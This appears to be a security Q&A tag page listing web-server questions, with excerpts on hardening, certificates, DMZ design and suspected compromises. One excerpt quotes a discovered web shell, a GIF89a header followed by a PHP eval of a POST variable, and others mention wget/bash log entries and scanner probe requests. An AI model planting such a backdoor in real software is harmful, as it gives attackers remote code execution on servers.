A system whose primary function is to deliver web pages on request to clients.

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13
votes
6answers
3k views

Are consumer-grade routers any more or less vulnerable? [on hold]

I apologize if this is an obvious question, I'm not very familiar with hardware. I am planning on hosting a few personal websites from my home, but I'm concerned about my security. I'm using a fairly ...
5
votes
2answers
100 views

Is using a self signed certificate safer than a free ssl certificate? [duplicate]

I have a personal website/email server, basically for my own self learning use. I am using CACert (http://www.cacert.org/) for my SSL certificate as advised in a tutorial. I have no clue about ...
2
votes
1answer
327 views

Are there any security implications in creating an SSH key for the root user?

I've written an install script on a server to quickly set up new sites in the /srv directory. It needs to do a git clone, and has to be run via sudo in order to have the permissions to do all the ...
1
vote
2answers
46 views

What is risk of having memcache in public interface?

To what extent a hacker can potentially cause harm to a server? Can you please give few examples? Recently, there was a data breach in my website and I found out this interface was public-facing and ...
1
vote
0answers
42 views

What web browsers support ECC vs DSA vs RSA for SSL/TLS?

We are updating our wildcard certificate and see that we have the option to use both RSA or DSA with Symantec (for free), while Digicert offers 3 options for wildcards ECC, DSA and RSA. Is there a ...
3
votes
2answers
151 views

Error message in Apache logs shows /bin/bash and wget

I am wondering if my server is compromised or not I just looked at my log and seen the following line in there [Thu May 14 09:10:42.587255 2015] [autoindex:error] [pid 3422] [client ...
0
votes
1answer
48 views

Why is Parallels Plesk running on port 8443 > 1023?

Parallels Plesk, a server administration software package, uses HTTP(S) on port 8443 (ref). I know that ports <1024 are only available for root. This means that if the server Plesk is using for ...
0
votes
1answer
44 views

3rd Party Authentication protocol

I have a hardware device (H), phone (P) and web server (S). I would like P to be able to send commands to H but only if it is authorized to do so. Permissions are stored on server. Technically I could ...
2
votes
2answers
123 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
0
votes
1answer
34 views

In What Ways Can X-Foward-For Header Information Be Used In An Attack

By enabling X-Foward-For on our proxy, we would essentially be advertising our internal IP addresses externally. However, we use a private range. Everything goes through NAT. So, the best anyone would ...
1
vote
3answers
204 views

Malware script uploaded - CPU has been maxed out

I received notifications that the CPU was maxed out. Using Process Manager in WHM, I could see that commands named "fuckyou" was running some kind of cron sript on our server. The file it was calling ...
-1
votes
1answer
90 views

How to test if my server is secure? [closed]

I'm using a debian7 VPS for hosting my websites. I have only installed webmin, apache, mysql, SSH and a wordpress website. I always update my packages and wordpress version. What is the best (free) ...
0
votes
1answer
31 views

Are DLLs in URLs executed on users local machine or on the remove machine?

In this question I am referring to DLLs listed in URLs such as this one: http://survey1.sendyouropinions.com/mrIWeb/mrIWeb.dll When this kind of URL is navigated to, is the code in the DLL executed ...
0
votes
1answer
32 views

Sharing sensitive information across servers on visits from the same browser

I have this scenario: Webserver domain A. Generates sensitive information when a request from a browser is received but this information is not disclosed to the browser. Webserver domain B. ...
13
votes
4answers
700 views

Custom socket server on the internet running as root

We are writing a custom socket server which runs on a high port. Until recently, it has been running behind a corporate firewall. Now, it has been decided that the server should be taken outside the ...
0
votes
1answer
59 views

“Transferring” SSL certificate to another person [closed]

Last year, I did a lot of work on a site as a freelancer. We wanted to put the whole thing behind HTTPS, so, for reasons I can't recall but probably expediency-related, I purchased a cert for it under ...
0
votes
1answer
63 views

HttpOnly at logout page [closed]

Firstly, my website can't be accessed without a session established. After a session is established then the server would set cookies. However, if i assess the website without a session, my site will ...
1
vote
1answer
38 views

Running webserver with SSL enabled but not used

We have a web server hosted by a third party running on port 80. They have also enabled SSL but we did not use it. We are just using port 80. Right now, when I do a vulnerability scan, some SSL ...
6
votes
1answer
87 views

Secure HTTP headers

In this article, the example shows ... HttpOnly;Secure However, a check on my server response show ... Secure;HttpOnly This may be a stupid question but, does the order matter? thanks
2
votes
2answers
61 views

Using a special user to manage web server? [closed]

I just rented a VPS, in order to run a web server. I installed LAMP utilities and everything work. I have actually only 1 user (root). This means everytime I want to connect to my server to modify ...
2
votes
1answer
33 views

Where to start , secure an AWS Ubuntu 14.04 [closed]

Ok so this is probably a basic question but I would like to expand my knowledge. I have created an AWS Ubuntu EC2 server. I am running software on the server that provides 2 services , firstly a ...
2
votes
1answer
90 views

wordpress server visitor log contains a script, what's the risk?

I see this in my WP statistics: Is it safe to click on the link? Under what conditions will the script be triggered?
0
votes
1answer
41 views

System backup in case of attack?

My system will be running for a well known insurance company within the UK, it will hold and process a lot of information for claims, brakdowns etc etc. I am worried that the company and the site as ...
2
votes
1answer
48 views

How to find out if content on my XAMPP server has been altered

During the development of a site, me and the team decided to develop the site with my computer as a server, with me making my localhost available from outside. I have been using several settings to ...
0
votes
1answer
79 views

Security issues for host system when running a home web server on a VM

I want to run a web server at home(really for the fun and learning of web/network and other security best practices), running a web app that i plan to write with ruby on rails and be able to access it ...
2
votes
1answer
662 views

Worrying httpd access logs [duplicate]

so after setting up a new server with just ssh (public key only) and a webserver which just serves one index.html I left for the weekend. Logging in on Monday I see this type of thing in my httpd ...
2
votes
1answer
49 views

Secure the config file of a service

I have a service running on a linux box, started with upstart, that runs as user "the_user", it has to read a config file. Having the file owned by root would make things more secure, but would ...
12
votes
9answers
4k views

Can an old operating system webserver be made secure?

I have an old laptop with far too little RAM to run Linux (including specialty distributions). It can however run Windows 98 just fine, and I'm looking into turning it into a tiny retro webserver. Is ...
0
votes
1answer
79 views

How does a reverse proxy change the security posture of a web server residing in the DMZ? [closed]

How does the reverse proxy change internal and external security posture with a reverse proxy compared to not having a reverse proxy? For example, you have a publicly accessible iis server, what is ...
2
votes
3answers
145 views

Is it okay to only use username/password to secure an admin page for moderating a website?

Is there a standard practice to securing an admin page for an application written in angular and nodejs or just in general? The admin page would approve/ban users and moderate comments. Should it be ...
0
votes
2answers
87 views

Preventing ARP spoofing in DMZ

Is there any possible way to implement a defence mechanism in a firewall to be able to prevent ARP spoofing in a DMZ. Our DMZ server consist of two webservers and a database (which should be available ...
0
votes
2answers
77 views

Place database in the DMZ and in the internal network

Is it sufficient to have single database inside the DMZ which the webservers in the DMZ receives their data from. Or if setup with two databases is a better solution, that would be to have a ...
1
vote
1answer
187 views

Cross Domain Javascript security [duplicate]

I used a web vulnerability scanner to scan my web site. It indicates several links with "Cross domain Java script source file inclusion." May I know how would an attacker exploit this type of ...
1
vote
1answer
92 views

How to know an Apache web server mod_cgi module is enabled?

I am currently working on penetration test of a web site that uses an Apache HTTP server. To test a vulnerability which is related to mod_cgi module, I need to know whether this web site uses mod_cgi ...
1
vote
1answer
69 views

What are the traces of a mysql attack on a server when the attacker has full permissions?

I just turned my server off yesterday, after it began to distribute comment spam across the internet, at an astounding rate over 70 "spams"/min, bottom of the line 1/2 gig ram VPS. I'm still trying to ...
1
vote
0answers
37 views

Vega Scanner Took Website offline? [closed]

I used the Subgraph Vega scanner to scan a website, I wanted to get any linked social media pages from their site. Anyway soon into the scan the page went offline with a 404. I checked with different ...
1
vote
3answers
64 views

Is it good practice to let Node/Go/… act as a frontend webserver?

I'm used to writing web stuff in PHP and let Apache or nginx handle the actual HTTP handling and load my code via whatever means (mod_php, fcgi, fpm, ...). I'm under the impression that this is a ...
28
votes
4answers
4k views

Why am I getting strange HTTP requests for non-existing pages?

I am running a web server and watching what people request. I have been getting frequent traffic like: GET /phph/php/ph.php HTTP/1.1 or GET /mrmr/mrm/mr.php HTTP/1.1 Are these scans? Are the ...
1
vote
1answer
39 views

add another layer of protection on top of oauth 2

My Rest API is protected using Oauth2. My main client is a native app. it's working great but there are certain calls to the API that i want to make sure that are performed from my client - meaning ...
1
vote
1answer
83 views

Best practice for https Private Key Generation

I am working with a security person that baffles me a bit with the practices he performs. Besides the issue of this person insisting on bypassing every security measure in place we have got into it ...
10
votes
4answers
1k views

What is Net-Worm.PHP.Mongiko trying to do?

I found several lines of this request in my web server access log: Source IP Dest IP Request Stat User agent 217.172.190.19 ...
2
votes
1answer
87 views

Whitelist for HTTP request

Malicious request can come in the form of user agent string, referrer or cookie. To prevent being pawned by zero day attacks such as Shellshock, I have created a whitelist of characters for user agent ...
4
votes
3answers
186 views

PHP | Security for allowing user uploads

My Sittuation: I am creating a web application with PHP which allows users to scan their files for viruses. It allows the user to upload their files via the html "file" input type or via a URL. I ...
3
votes
1answer
62 views

Is it possible to restrict a client-side certificate (for web auth) valid only for a given site name?

If I have 2 websites, a.example.com and b.example.com. Those sites use TLS and SNI, and require client authentication with certificates created with my own CA. The use case is that some clients have ...
3
votes
1answer
197 views

Root server hacked via httpd - consequences and future prevention

Since before mid 2014, my root server was targeted by hackers and recently they gained limited access. I disabled all services once I realized the server has been compromised and started ...
0
votes
2answers
197 views

Google Analytics: Hacked or Ghost Referers?

I posted this question (Hacked or Ghost Referers) on Google groups earlier today, but I also wanted to see if the security experts here have any insight into this behavior. I've got a web application ...
4
votes
1answer
137 views

Why does my web server receive so many TCP resets from some clients?

I run a web server and log connections that are dropped. Occasionally, I get a burst of TCP RST packets from some of my clients, like this: Feb 11 11:56:29 SRC=1.2.3.4 TTL=57 SPT=38383 DPT=80 ...
2
votes
0answers
90 views

Securing elasticsearch behind a reverse proxy

I intend to run an Elasticsearch index to store a persistent copy of data retrieved from an external service. My plan is to host the Elasticsearch index on AWS, and have it listen on 127.0.0.1 only. I ...
1
vote
2answers
56 views

Is it worth it to install the same web application on different kind of web servers in a vulnerability assessment?

When doing a web vulnerability assessment with tools such as Acunetix and w3af, is it worth it to install the same web application on multiple types of web servers (Apache, IIS, etc.)? If differences ...
1
vote
1answer
94 views

How do I know if root account has been compromised?

My server was hacked with some files being overwritten to generate spam links on the index page. All my previous backups contain the same modified files, making the nuking from orbit option a puke. If ...